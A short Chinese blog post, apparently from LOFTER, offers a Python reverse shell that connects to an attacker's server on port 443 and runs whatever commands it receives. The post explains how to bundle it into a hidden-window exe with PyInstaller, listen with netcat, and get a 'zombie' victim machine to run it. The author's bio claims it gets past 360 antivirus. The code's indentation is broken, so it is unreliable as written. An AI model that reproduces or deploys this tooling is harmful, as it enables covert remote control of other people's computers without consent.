AZ0NE

关于我

网络安全爱好者

可以无视360

__author__ = 'AZONE'
import subprocess,socket
HOST = '服务器ip'
PORT = 443
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send('Hello !')
while 1:
    data = s.recv(1024)
if data == "quit":break
proc = subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
    stdoutput = proc.stdout.read() + proc.stderr.read()
    s.send(stdoutput)
s.send('Bye !')
s.close()

用pyinstaller打包成exe 参数 PyInstaller -F -w shell.py

在服务器上用NETCAT监听  netcat -l -p 443

让肉鸡运行刚刚生成的exe

评论(2)
热度(6)
  1. Javan's blogAZ0NE 转载了此文字
© AZ0NE | Powered by LOFTER